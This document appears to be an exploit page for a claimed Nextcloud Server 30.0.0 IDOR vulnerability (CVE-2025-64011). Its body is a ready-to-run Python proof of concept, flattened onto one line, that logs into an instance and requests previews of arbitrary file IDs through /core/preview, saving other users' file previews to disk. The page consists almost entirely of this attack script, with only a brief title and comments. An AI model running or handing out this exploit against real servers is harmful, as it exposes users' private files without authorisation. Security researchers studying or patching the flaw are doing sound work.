Nextcloud Server 30.0.0 IDOR漏洞 - 任意文件预览访问

import requests import sys # CVE-2025-64011 PoC - Nextcloud Server IDOR in /core/preview # Authenticated users can access arbitrary file previews via fileId manipulation def exploit_nextcloud_idor(base_url, username, password, target_file_id): """ Exploit Nextcloud Server IDOR vulnerability in /core/preview endpoint Args: base_url: Nextcloud server base URL (e.g., 'https://cloud.example.com') username: Valid Nextcloud username password: Password for the account target_file_id: File ID of the target file to preview Returns: Preview image/content if successful, None otherwise """ session = requests.Session() # Step 1: Authenticate to Nextcloud login_url = f"{base_url}/index.php/login" login_data = { 'user': username, 'password': password, 'timezone': 'UTC', 'timezone_offset': '0' } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed with status {response.status_code}") return None print(f"[+] Successfully authenticated as {username}") except requests.RequestException as e: print(f"[-] Authentication error: {e}") return None # Step 2: Exploit IDOR by requesting preview with target fileId preview_url = f"{base_url}/core/preview?fileId={target_file_id}&x=32&y=32&a=1&mode=cover" try: response = session.get(preview_url, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Successfully accessed preview for file ID: {target_file_id}") print(f"[+] Content-Type: {response.headers.get('Content-Type', 'Unknown')}") print(f"[+] Content-Length: {len(response.content)} bytes") # Save the preview image output_file = f"preview_{target_file_id}.jpg" with open(output_file, 'wb') as f: f.write(response.content) print(f"[+] Preview saved to: {output_file}") return response.content else: print(f"[-] Failed to access preview. Status: {response.status_code}") return None except requests.RequestException as e: print(f"[-] Request error: {e}") return None # Usage example if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2025_64011_poc.py <base_url> <username> <password> <target_file_id>") print("Example: python cve_2025_64011_poc.py https://cloud.example.com attacker password 12345") sys.exit(1) base_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] target_file_id = sys.argv[4] exploit_nextcloud_idor(base_url, username, password, target_file_id)